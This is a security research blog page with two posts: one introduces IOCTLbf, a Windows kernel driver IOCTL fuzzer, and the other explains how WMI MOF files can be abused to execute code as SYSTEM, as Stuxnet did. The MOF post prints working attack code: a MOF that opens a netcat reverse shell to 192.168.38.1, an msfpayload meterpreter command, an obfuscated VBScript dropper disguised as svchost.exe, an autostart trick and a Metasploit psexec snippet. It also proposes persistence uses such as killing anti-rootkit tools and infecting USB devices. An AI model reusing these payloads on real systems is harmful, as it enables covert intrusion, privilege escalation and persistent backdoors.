vendredi 30 mars 2012

[Tool/PoC] IOCTLbf - Scanning IOCTLs & Fuzzing Windows kernel drivers

1. Overview

IOCTLbf is just a small tool (Proof of Concept) that can be used to search vulnerabilities in Windows kernel drivers by performing two tasks:
  • Scanning for valid IOCTL codes supported by drivers,
  • Generation-based IOCTL fuzzing
An advantage of this tool is that it does not rely on captured IOCTLs. Therefore, it is able to detect valid IOCTL codes supported by drivers and that are not often, or even never, used by applications from user land. For example, it may be the case for:
  • IOCTLs called in very specific conditions (not easy to discover and/or to reproduce).
  • IOCTLs used for debugging purpose that are sometimes let in drivers.
Once scanning is done and valid IOCTLs have been found for a given driver, the user can choose one IOCTL in the list to begin the fuzzing process. Note that this tool only performs generation-based
fuzzing. Compared to mutation-based fuzzing (which consists in taking valid IOCTL buffers and adding anomalies), the code coverage is of course less important.

=> http://code.google.com/p/ioctlbf/
Note: for mutation-based IOCTL fuzzing, check out the great tool "IOCTL fuzzer" [1]. Basically, it hooks nt!NtDeviceIoControlFile in order to take control of all IOCTL requests throughout the system. A good example of use in the real world can be found at [2].

2. Reminder about IOCTLs

(Very good reference for this part: [3])

2.1. IOCTL codes

According to winioctl.h:
IOCTL's are defined by the following bit layout.
 [Common |Device Type|Required Access|Custom|Function Code|Transfer Type]
   31     30       16 15          14  13   12           2  1            0

   Common          - 1 bit.  This is set for user-defined
                     device types.
   Device Type     - This is the type of device the IOCTL
                     belongs to.  This can be user defined
                     (Common bit set).  This must match the
                     device type of the device object.
   Required Access - FILE_READ_DATA, FILE_WRITE_DATA, etc.
                     This is the required access for the
                     device.
   Custom          - 1 bit.  This is set for user-defined
                     IOCTL's.  This is used in the same
                     manner as "WM_USER".
   Function Code   - This is the function code that the
                     system or the user defined (custom
                     bit set)
   Transfer Type   - METHOD_IN_DIRECT, METHOD_OUT_DIRECT,
                     METHOD_NEITHER, METHOD_BUFFERED, This
                     the data transfer method to be used.

For a given device, only the fields "Function Code" and "Transfer Type" change for the different supported IOCTL codes.

2.2. Buffers specifications


Buffer sizes are defined by the following parameters:
Input Size  = nt!_IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength
Output Size = nt!_IO_STACK_LOCATION.Parameters.DeviceIoControl.OutputBufferLength

The way buffers are passed from userland to kernelland, and from kernelland to userland, actually depends on the method which is used. Here are the differences:

  • METHOD_BUFFERED:

    Input Buffer  = nt!_IRP.AssociatedIrp.SystemBuffer
    Output Buffer = nt!_IRP.AssociatedIrp.SystemBuffer


    Input & output buffers use the same location, so the buffer allocated by the I/O manager is the size of the larger value (output vs. input).
  • METHOD_X_DIRECT:

    Input Buffer  = nt!_IRP.AssociatedIrp.SystemBuffer
    Output Buffer = nt!_IRP.MdlAddress


    The input buffer is passed in using "BUFFERED" implementation. The output buffer is passed in using a MDL (which permits Direct Memory Access). The difference between "IN" and "OUT" is that with "IN", you can use the output buffer to pass in data! The "OUT" is only used to return data.  
  • METHOD_NEITHER:

    Input Buffer  = nt!_IO_STACK_LOCATION.Parameters.DeviceIoControl.Type3InputBuffer
    Output Buffer = nt!_IRP.UserBuffer


    Input & output buffers sizes may be different. The I/O manager does not provide any system buffers or MDLs. The IRP supplies the user-mode virtual addresses of the input and output buffer

3. How to use it ?

  1. First of all, it is necessary to locate the target driver. A tool like "DriverView" [4] can be used in order to easily spot non-Microsoft drivers (third-party drivers).

  2. Then, it is necessary to check what are the device(s) associated with the target driver. A good tool to do this is "DeviceTree" for example [5].

  3. Check the security attributes (DACL) of the device(s). It should be available for limited users in order to make it interesting from an attacker point of view. Indeed, vulnerabilities in drivers may lead to Local Privilege Escalation on the system, or just Denial of Service when it is not exploitable.

  4. Retrieve the symbolic link used by applications to communicate with one device of the target driver. All symbolic links can be listed with the Sysinternal's tool "WinObj" in the "GLOBAL??" section [6].

  5. Finally, it is necessary to know at least one valid IOCTL code supported by the target driver. For example, it can be easily done by monitoring IRPs with a tool like "OSR's IrpTracker Utility" [7].

    Make sure to apply a filter on "DEVICE_CONTROL" only and to select only the target driver.
    Of course, it is also possible to retrieve valid IOCTL codes directly by reverse engineering the driver.

  6. Once a valid IOCTL code is retrieved, "IOCTLbf" can be used. One of the following IOCTL codes scanning modes can be chosen:
      • Function code + Transfer type bruteforce,
      • IOCTL codes range,
      • Single IOCTL code.
    The scanning process returns supported IOCTL codes and accepted buffer sizes for each one.

  7. The next step simply consists in choosing one IOCTL to fuzz. The fuzzing process actually follows the following steps:
      • [if method != METHOD_BUFFERED] Invalid addresses of input/output buffers,
      • Check for trivial kernel overflows,
      • Fuzzing with predetermined DWORDs (invalid addresses, addresses pointing to long ascii/unicode strings, adress pointing to a table of invalid addresses)
      • Fuzzing with fully random data.
Of course, in order to be able to investigate system crashes that may occur while fuzzing, you should either:
  • Enable complete crash dump,
  • Or use remote kernel debugging.

Here are the command line options :
> ioctlbf.EXE
    _                   _  _       ___
   (_)              _  | || |     / __)
    _  ___   ____ _| |_| || |__ _| |__
   | |/ _ \ / ___|_   _) ||  _ (_   __)
   | | |_| ( (___  | |_| || |_) )| |
   |_|\___/ \____)  \__)\_)____/ |_|    v0.4

  Usage
  -----
  ioctlbf.EXE -d <deviceName> (-i <code>|-r <code>-<code>) [-u] [-q] [-f] [-e]

  Options
  -------
  -d    Symbolic device name (without \\.\)
  -i    IOCTL code used as reference for scanning (see also -u)
  -r    IOCTL codes range (format: 00004000-00008000) to fuzz
  -u    Fuzz only the IOCTL specified with -i
  -f    Filter out IOCTLs with no buffer length restriction
  -q    Quiet mode (do not display hexdumps when fuzzing)
  -e    Display error codes during IOCTL codes scanning
  -h    Display this help

  Examples
  --------
Scanning by Function code + Transfer type bruteforce from given valid IOCTL:
  > ioctlbf.EXE -d deviceName -i 00004000 -q

Scanning a given IOCTL codes range (filter enabled):
  > ioctlbf.EXE -d deviceName -r 00004000-00004fff -f

Fuzzing only a given IOCTL (quiet mode):
  > ioctlbf.EXE -d deviceName -i 00004000 -u -q


4. Example

Here is a simple example of use of the tool on the driver "aswSnx.sys" installed by "Avast! Antivirus":




5. Conclusion

"IOCTL Fuzzer" will, of course, do a better job on the IOCTLs it captures, but the fact is that it won't always capture all the IOCTLs that are supported by drivers... And this is where a tool like "IOCTLbf" can be useful even if it's far from being perfect and won't be able to detect all the supported IOCTLs every time (depends on the way the dispatch routine was written). It's still very improvable !

Anyway, it appears that dumb fuzzing is still working in 2012 :))
For example, here is an exploitable bug (Kernel pointer dereference) that has been found using "IOCTLbf" in the antivirus "Norman Security Suite 8". It leads to a possibility of local privilege escalation:
Note that many bugs that can be found in drivers might not be exploitable and so, might only lead to Denial of Services from limited accounts on the system.


References (Articles/Tools)

[1] IOCTL fuzzer, by eSage lab
http://code.google.com/p/ioctlfuzzer/

[2] Device Drivers Vulnerability Research (with ioctlfuzzer), Avast a real case, by evilcry
http://www.woodmann.com/forum/entry.php?183-Device-Drivers-Vulnerability-Research-Avast-a-real-case

[3] Driver Development Part 2: Introduction to Implementing IOCTLs, by Toby Opferman
http://www.codeproject.com/Articles/9575/Driver-Development-Part-2-Introduction-to-Implemen

[4] Driver View, by NirSoft
http://www.nirsoft.net/utils/driverview.html

[5] Device Tree, by OSR Online
http://www.osronline.com/article.cfm?article=97

[6] WinObj, by Sysinternals
http://technet.microsoft.com/en-us/sysinternals/bb896657

[7] OSR's IrpTracker Utility, by OSR Online
http://www.osronline.com/article.cfm?article=199

dimanche 18 septembre 2011

Playing with MOF files on Windows, for fun & profit

In this article, we will focus on a high-level Windows feature that is not so well-known, and that can be interesting from an attacker's point of view. I will share my investigation of MOF files from its use in Stuxnet - in the exploitation of a vulnerability in the Windows Printer Spooler - to some basic practical examples of what we can do with MOF files.


1. Stuxnet and the Windows Printer Spooler vulnerability (MS10-061)

The Stuxnet Worm embedded 4 different 0-days, an overall analysis is given by Symantec in [1] . Stuxnet has already been discussed a lot, and there have been many good papers out there about the different vulnerabilities that are exploited. In particular, the paper [2] published in MISC magazine (french) gives a good overview of the vulnerability MS10-061 in Windows Printer Spooler.

Basically, this vulnerability permits to remotely execute code with SYSTEM privilege on a Windows XP machine if a printer is shared on the network. It was patched by Microsoft on September 2010 [3]. The other versions of Windows are vulnerable, but only when really particular conditions are met, as it is well sum up in [4] with the following figure:





Actually, when a printer is shared on the network on Windows XP, it's reachable by anybody as the Guest user in order to print documents. The "printer spooler service" which is locally responsible for handling the requests from the client is the spoolsv.exe process. It's possible to remotely talk with it by using the RPC protocol (Remote Procedure Call). Stuxnet simply uses the methods implemented by the service to ask it to write a file on the disk of the machine.

The article [2] explains in detail that it is possible to specify a destination path where to write the file by using the call to the API StartDocPrinter, which notifies the spooler that a new job arrived. In Stuxnet, the goal was to execute the payload after uploading it to a file on the remote machine. The authors actually used the Windows feature called WMI (Windows Management Instrumentation). So, we'll investigate this technology and we'll see some interesting subtleties.

2. Windows Management Instrumentation (WMI)

Before practicing, we need to know a bit of theory about WMI. So I'll try to sum up my researches about this Windows feature, and give the concepts that are useful before beginning to play with it.

According to [5], we learn that:
“WMI is an implementation of Web-Based Enterprise Management (WBEM) […]. The WBEM standard encompasses the design of an extensible enterprise data-collection and data-management facility that has the flexibility and extensibility required to manage local and remote systems that comprise arbitrary components”. “WMI consists of four main components: management applications, WMI infrastructure, providers, and managed objects (system, disks, processes, network components…)”. The following figure gives an overview of the architecture of WMI.

To sum up, it is an information exchange standard interface based on a client/server model:



... Well, the architecture is rather complex, let's try to dig into it...
First, at the center of the WMI architecture, we have the WMI Infrastructure which is composed of the CIMOM (Common Information Model Object Manager). It binds management applications - also called "consumers" - on the one hand and "providers" on the other hand. This object manager is also in relation with a repository (CIM/WMI repository) that stores CIM classes' definitions.

CIM classes are hierarchically organized with subclasses that inherit from their parent class. CIM classes are grouped in namespaces, which are just logical group of classes. For example, the namespace root\cimv2 includes most of the classes that represent computer's resources. The language used to describe CIM classes is called MOF (Managed Object Format).

What is really interesting with WMI is that it permits to execute some code when the notification of an event occurs. The event might be a program start, an user authentication, ... or any other Windows event. A MOF file needs to be registered into the CIM/WMI repository in order to be taken into account by WMI. When registering a MOF file, the CIM class(es) it describes are indeed added into the repository.

Let's see the classes that are interesting:
  • __EventFilter [6] [7]: permits to define a Windows event,
  • __EventConsumer [8]: defines a consumer. This class is actually an abstract class with several implementations. The most interesting one is ActiveScriptEventConsumer [9] because it makes possible to embed VBScript or JSScript in the consumer. Note that it is only available in the namespace root\subscription.
    The cool thing is that the consumer runs with SYSTEM privilege on Windows XP and Windows 2003 Server. Under Vista, it is running under the LOCAL_SERVICE user. I haven't tried under Windows 7, maybe someone ? =)
  • __FilterToConsumerBinding [10]: it is used to link the two other instances. In other words, it permits to activate the consumer - and to execute its code - whenever the defined event occurs.



      As we learn in [11], MOF files are compiled into the WMI repository using mofcomp.exe. Moreover, a MOF file that is put in the %SystemRoot%\System32\wbem\mof\ directory is automatically compiled and registered into the WMI repository. It is defined in the registry key HKLM\SOFTWARE\Microsoft\WBEM\CIMOM\ as we can see in here:


      Note: @jduck1337 made me noticed that MOF files aren't autocompiled on Vista +

      The file mofcomp.log located in %SystemRoot%\System32\wbem\mof\Logs\ contains the logs about MOF files compilations, as shown in the following screenshot:



      This auto-compilation feature was used by Stuxnet: 2 files were uploaded on the targeted remote machine using MS10-061:
      • %SystemRoot%\System32\winsta.exe: Stuxnet’s main module
      • %SystemRoot%\System32\wbem\mof\sysnullevnt.mof: MOF file that will automatically compile itself and that contains the code needed to execute the winsta.exe file when some events occur.

      Now, let's see MOF files in action with 3 fictive examples.


      3. A basic example of MOF file

      Let's see a first basic example of MOF file: let's imagine that we want to launch an executable when some events occur on the system. For illustration purpose, we'll launch the executable (here, Netcat for Windows) when a new log entry is added.

      So, we create a correct MOF file with a consumer (instance of ActiveScriptEventConsumer) that executes a VBScript. This VBScript will just create a Shell object and execute netcat with the right parameters. We'll also define an event filter by instantiating the __EventFilter class, in order to define when the consumer will be executed. For the example, we'll notify the consumer from the event filter when a new entry is added in "Application" Logs.

      Event filters must use a SQL-like language called WQL (WMI Query Language) to define the Windows event(s) that will spark the execution of the consumer [12].

      Here is what looks like our first MOF file:
      #pragma namespace ("\\\\.\\root\\subscription")
      
      instance of __EventFilter as $FILTER
      {
          Name = "CLASS_FIRST_TEST";
          EventNamespace = "root\\cimv2";
       Query = "SELECT * FROM __InstanceCreationEvent "
        "WHERE TargetInstance ISA \"Win32_NTLogEvent\" AND "
        "TargetInstance.LogFile=\"Application\"";
      
          QueryLanguage = "WQL";
      };
      
      instance of ActiveScriptEventConsumer as $CONSUMER
      {
          Name = "CLASS_FIRST_TEST";
          ScriptingEngine = "VBScript";
      
          ScriptText =
            "Set objShell = CreateObject(\"WScript.Shell\")\n"
         "objShell.Run \"C:\\Windows\\system32\\cmd.exe /C C:\\nc.exe 192.168.38.1 1337 -e C:\\Windows\\system32\\cmd.exe\"\n";
      };
      
      instance of __FilterToConsumerBinding
      {
          Consumer = $CONSUMER ;
          Filter = $FILTER ;
      };

      The example of use with netcat is taken from [15].

      Maybe, some explanations are needed:
      • Firstly, the event filter defines the WQL query corresponding to the filter. Once again, I've referred to the MSDN to build the query. In WMI, a Windows event is represented using the abstract class __Event, which has many different subclasses. Here we use __InstanceCreationEvent [13].
      • Secondly, in the consumer we must specify in  ScriptingEngine that we want to use VBScript, and then, we just have to pass our script in ScriptText.

      • Thirdly, we bind the filter and the consumer.

      Okay, so in order to check our newly created MOF file, we just put it in the directory %SystemRoot%\System32\wbem\mof\. The instances are added into the repository. And we can confirm that if we add a new log entry - here, coming from a wrong login attempt on MS SQL - the executable nc.exe is started. It runs with SYSTEM privilege, because I'm doing my tests on a Windows 2003 Server SP2:


      It looks interesting, but that would be great to embed directly a payload into the MOF file. Let's see how to do this =)


      4. Embed a payload into a MOF file

      We have already seen that it's possible to put VBscript into an instance of ActiveScriptEventConsumer. So, we can directly put our payload encoded in VBScript !
      For example, it is possible to use msfencode with the option -t vbs in order to encode a shellcode in VBScript. Let's assume that we want to embed a reverse_tcp meterpreter (fictive example) into a MOF file, we can use the following command:

      msfpayload windows/meterpreter/reverse_tcp LHOST=<ip> R | msfencode 
      -e generic/none -t vbs

      And then, we just need to put the generated VBScript into our MOF file (note that it's necessary to escape all the quotes):

      #pragma namespace ("\\\\.\\root\\subscription")
      
      instance of __EventFilter as $FILTER
      {
          Name = "XPLOIT_TEST_SYSTEM";
          EventNamespace = "root\\cimv2";
          Query = "SELECT * FROM __InstanceCreationEvent "
        "WHERE TargetInstance ISA \"Win32_NTLogEvent\" AND "
        "TargetInstance.LogFile=\"Application\"";
      
          QueryLanguage = "WQL";
      };
      
      instance of ActiveScriptEventConsumer as $CONSUMER
      {
          Name = "XPLOIT_TEST_SYSTEM";
          ScriptingEngine = "VBScript";
      
          ScriptText = "Function jcmNPtWMUEOI() \n"
      "vURTl=Chr(77)&Chr(90)&Chr(144)&Chr(0)&Chr(3)&Chr(0)&Chr(0)&Chr(0)&Chr(4)&Chr(0)&Chr(0)&Chr(0)&Chr(255)&Chr(255)&Chr(0)&Chr(0)&Chr(184)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(64)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(232)&Chr(0)&Chr(0)&Chr(0)&Chr(14)&Chr(31)&Chr(186)&Chr(14)&Chr(0)&Chr(180)&Chr(9)&Chr(205)&Chr(33)&Chr(184)&Chr(1)&Chr(76)&Chr(205)&Chr(33)&Chr(84)&Chr(104)&Chr(105)&Chr(115)&Chr(32)&Chr(112)&Chr(114)&Chr(111)&Chr(103)&Chr(114)&Chr(97)&Chr(109)&Chr(32)&Chr(99)&Chr(97)&Chr(110)&Chr(110)&Chr(111)&Chr(116)&Chr(32)&Chr(98)&Chr(101) \n"
      // [...]
      "vURTl=vURTl&Chr(0)&Chr(16)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(32)&Chr(0)&Chr(0)&Chr(96)&Chr(46)&Chr(114)&Chr(100)&Chr(97)&Chr(116)&Chr(97)&Chr(0)&Chr(0)&Chr(230)&Chr(15)&Chr(0)&Chr(0)&Chr(0)&Chr(192)&Chr(0)&Chr(0)&Chr(0)&Chr(16)&Chr(0)&Chr(0)&Chr(0)&Chr(192)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(64)&Chr(0)&Chr(0)&Chr(64)&Chr(46)&Chr(100)&Chr(97)&Chr(116)&Chr(97)&Chr(0)&Chr(0)&Chr(0)&Chr(92)&Chr(112)&Chr(0)&Chr(0)&Chr(0)&Chr(208)&Chr(0)&Chr(0)&Chr(0)&Chr(64)&Chr(0)&Chr(0)&Chr(0)&Chr(208)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(64)&Chr(0)&Chr(0)&Chr(192) \n" 
      "Dim eXmdsyLFEs \n"
      "Set eXmdsyLFEs = CreateObject(\"Scripting.FileSystemObject\") \n"
      "Dim TxNAbBlYJ \n"
      "Dim OnzEldZtxrMeY \n"
      "Dim YzlWLAgbdcsRP \n"
      "Dim gpvFZLaXwIZzKCJ \n"
      "Set OnzEldZtxrMeY = eXmdsyLFEs.GetSpecialFolder(2) \n"
      "gpvFZLaXwIZzKCJ = OnzEldZtxrMeY & \"\\\" & eXmdsyLFEs.GetTempName() \n"
      "eXmdsyLFEs.CreateFolder(gpvFZLaXwIZzKCJ) \n"
      "YzlWLAgbdcsRP = gpvFZLaXwIZzKCJ & \"\\\" & \"svchost.exe\" \n"
      "Set TxNAbBlYJ = eXmdsyLFEs.CreateTextFile(YzlWLAgbdcsRP,2,0) \n"
      "TxNAbBlYJ.Write vURTl \n"
      "TxNAbBlYJ.Close \n"
      "Dim VvLFolkbOsQvlf \n"
      "Set VvLFolkbOsQvlf = CreateObject(\"Wscript.Shell\") \n"
      "VvLFolkbOsQvlf.run YzlWLAgbdcsRP, 0, true \n"
      "eXmdsyLFEs.DeleteFile(YzlWLAgbdcsRP) \n"
      "eXmdsyLFEs.DeleteFolder(gpvFZLaXwIZzKCJ) \n"
      "End Function \n"
      "jcmNPtWMUEOI \n";        
      };
      
      instance of __FilterToConsumerBinding
      {
          Consumer = $CONSUMER ;
          Filter = $FILTER ;
      };

      We can actually put any executable into a MOF file thanks to the possibility to use VBScript.

      In some circumstances, we might have a problem with the previous MOF files because the consumer isn't automatically started after its registration into the WMI repository. We'll now see a trick that can be used to overcome this.


      5. Consumer autostart after MOF file registration

      If we dig into the MSDN, we can see that the __InstanceCreationEvent class, that we have used so far in the WQL query, can be actually used to filter on the instantiation of a new class into the WMI repository. The name of the class in question must be given to TargetInstance.__class.
      So, it is possible to use this feature to trigger the autostart of the consumer. Let's see what looks like the new version of our MOF file:

      #pragma namespace ("\\\\.\\root\\subscription")
      
      class WoootClass 
      {
       [key]
       string Name;
      };
      
      instance of __EventFilter as $FILTER
      {
          Name = "XPLOIT_TEST_SYSTEM";
          EventNamespace = "root\\subscription";
       Query = "SELECT * FROM __InstanceCreationEvent "
               "WHERE TargetInstance.__class = \"WoootClass\"";
      
          QueryLanguage = "WQL";
      };
      
      instance of ActiveScriptEventConsumer as $CONSUMER
      {
          Name = "XPLOIT_TEST_SYSTEM";
          ScriptingEngine = "VBScript";
          ScriptText = "Function jcmNPtWMUEOI() \n"
      "vURTl=Chr(77)&Chr(90)&Chr(144)&Chr(0)&Chr(3)&Chr(0)&Chr(0)&Chr(0)&Chr(4)&Chr(0)&Chr(0)&Chr(0)&Chr(255)&Chr(255)&Chr(0)&Chr(0)&Chr(184)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(64)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(232)&Chr(0)&Chr(0)&Chr(0)&Chr(14)&Chr(31)&Chr(186)&Chr(14)&Chr(0)&Chr(180)&Chr(9)&Chr(205)&Chr(33)&Chr(184)&Chr(1)&Chr(76)&Chr(205)&Chr(33)&Chr(84)&Chr(104)&Chr(105)&Chr(115)&Chr(32)&Chr(112)&Chr(114)&Chr(111)&Chr(103)&Chr(114)&Chr(97)&Chr(109)&Chr(32)&Chr(99)&Chr(97)&Chr(110)&Chr(110)&Chr(111)&Chr(116)&Chr(32)&Chr(98)&Chr(101) \n"
      // [...]
      "vURTl=vURTl&Chr(98)&Chr(0) \n"
      "Dim eXmdsyLFEs \n"
      "Set eXmdsyLFEs = CreateObject(\"Scripting.FileSystemObject\") \n"
      "Dim TxNAbBlYJ \n"
      "Dim OnzEldZtxrMeY \n"
      "Dim YzlWLAgbdcsRP \n"
      "Dim gpvFZLaXwIZzKCJ \n"
      "Set OnzEldZtxrMeY = eXmdsyLFEs.GetSpecialFolder(2) \n"
      "gpvFZLaXwIZzKCJ = OnzEldZtxrMeY & \"\\\" & eXmdsyLFEs.GetTempName() \n"
      "eXmdsyLFEs.CreateFolder(gpvFZLaXwIZzKCJ) \n"
      "YzlWLAgbdcsRP = gpvFZLaXwIZzKCJ & \"\\\" & \"svchost.exe\" \n"
      "Set TxNAbBlYJ = eXmdsyLFEs.CreateTextFile(YzlWLAgbdcsRP,2,0) \n"
      "TxNAbBlYJ.Write vURTl \n"
      "TxNAbBlYJ.Close \n"
      "Dim VvLFolkbOsQvlf \n"
      "Set VvLFolkbOsQvlf = CreateObject(\"Wscript.Shell\") \n"
      "VvLFolkbOsQvlf.run YzlWLAgbdcsRP, 0, true \n"
      "eXmdsyLFEs.DeleteFile(YzlWLAgbdcsRP) \n"
      "eXmdsyLFEs.DeleteFolder(gpvFZLaXwIZzKCJ) \n"
      "End Function \n"
      "jcmNPtWMUEOI \n";        
      };
      
      instance of __FilterToConsumerBinding
      {
          Consumer = $CONSUMER ;
          Filter = $FILTER ;
      };
      
      instance of WoootClass
      {
       Name = "Woot";
      };
      

      As you can see, I have just added a new class called "WoootClass" at the beginning of the MOF file. This class actually does nothing, but it is instantiated. So after the registration into the WMI repository, this instantiation will automatically trigger the filter, which will in turn trigger the consumer containing our payload !

      Therefore, this trick permits to automatically run the consumer. It can be very useful in some situation when we don't want to wait for any Windows event.


      6. Interest

      It is important to remember that the MOF self-install directory is of course only writeable by an Administrator. That's why, MOF files are really interesting in two kinds of situations:
      1. When we are able to upload a file to a remote machine, into an arbitrary destination path (with Administrator privileges in order to be able to write into the MOF self-install directory). This is the example of MS10-061 with StartDocPrinter API.

      2. In a post-exploitation context, when we have already escalated our privileges to Administrator on a Windows machine. 

      The first situation is of course relatively rare. Nevertheless, it's interesting to notice that Metasploit provides a function generate_mof() in the file lib/msf/core/exploit/wbemexec.rb. This function uses the trick described in this article to autostart the consumer. For example, it is used by the exploit of MS10-061: exploits/windows/smb/ms10_061_spoolss [13].

      The psexec module (modules/exploits/windows/smb/psexec) also uses it when MOF_UPLOAD_METHOD is selected, as we can see it the following code snippet:
      if datastore['MOF_UPLOAD_METHOD']
         # payload as exe
         print_status("Trying wbemexec...")
         print_status("Uploading Payload...")
         if datastore['SHARE'] != 'ADMIN$'
          print_error('Wbem will only work with ADMIN$ share')
          return
         end
         simple.connect("ADMIN$")
         filename = rand_text_alpha(8) + ".exe"
         exe = generate_payload_exe
         fd = smb_open("\\system32\\#{filename}", 'rwct')
         fd << exe
         fd.close
         print_status("Created %SystemRoot%\\system32\\#{filename}")
      
         # mof to cause execution of above
         mofname = rand_text_alphanumeric(14) + ".MOF"
         mof = generate_mof(mofname, filename)
         print_status("Uploading MOF...")
         fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct')
         fd << mof
         fd.close
         print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}")
      
         # Disconnect from the ADMIN$
         simple.disconnect("ADMIN$")   
      

      In a post-exploitation context, I think that MOF files can provide an original way to hide malicious code into the WMI repository. The possibilities are almost infinite because we can basically say: "When _this_ event occurs, just do _that_ !". So, we can for example use MOF files with a backdoor or a rootkit in order to:

      • Automatically kill some processes as soon as they are launched (anti-rootkits...),
      • Automatically detect when the backdoor/rootkit has been deleted to load it again (dropper),
      • Automatically infect USB devices
      • ...
      What is interesting here is that it shows how high level features provided by the System can be abused by an attacker. Classes hidden into WMI repository are not likely to be quickly detected because this technology is not so well-known by users and it is rarely checked.

      However, it is still possible to detect malicious classes with a tool like WMI Object Browser from WMI Administrative Tools [14] that permits to explore the repository:


      Of course, giving class names that look apparently legitimate are likely to trick some curious users =)


      References 

      [1] W32.Stuxnet Dossier, by Symantec
      http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_stuxnet_dossier.pdf

      [2] MS10-061 vulnerability in Windows Printer Spooler, MISC Magazine issue #53 (french), by ivanlef0u

      [3] Microsoft Security Bulletin MS10-061
      http://technet.microsoft.com/en-us/security/bulletin/MS10-061

      [4] MS10-061: Printer Spooler vulnerability
      http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-vulnerability.aspx

      [5] Windows Internals, book by Mark Russinovich & David Salomon

      [6] __EventFilter class, MSDN
      http://msdn.microsoft.com/en-us/library/aa394639%28v=vs.85%29.aspx

      [7] Creating an Event Filter, MSDN
      http://msdn.microsoft.com/en-us/library/aa389741%28VS.85%29.aspx

      [8] ActiveScriptEventConsumer class, MSDN
      http://msdn.microsoft.com/en-us/library/aa384749%28VS.85%29.aspx

      [9] __EventConsumer class, MSDN
      http://msdn.microsoft.com/en-us/library/aa394635

      [10] __FilterToConsumerBinding class, MSDN
      http://msdn.microsoft.com/en-us/library/aa394647%28v=VS.85%29.aspx

      [11] Managed Object Format (MOF), MSDN
      http://msdn.microsoft.com/en-us/library/aa823192%28VS.85%29.aspx

      [12] Querying with WQL (SQL for WMI), MSDN
      http://msdn.microsoft.com/en-us/library/aa392902%28v=VS.85%29.aspx

      [13] exploits/windows/smb/ms10_061_spoolss code, Metasploit Framework
      http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/smb/ms10_061_spoolss.rb 

      [14] WMI Administrative Tools, Microsoft
      http://www.microsoft.com/download/en/details.aspx?id=24045

      [15] Newsletter HSC #77, Article about MOF/WMI (french), by Stephane Milani (sorry for forgetting)
      http://www.hsc-news.com/archives/2011/000078.html

      Greetz to
      @Heurs for the idea to dig into MS10-061 =)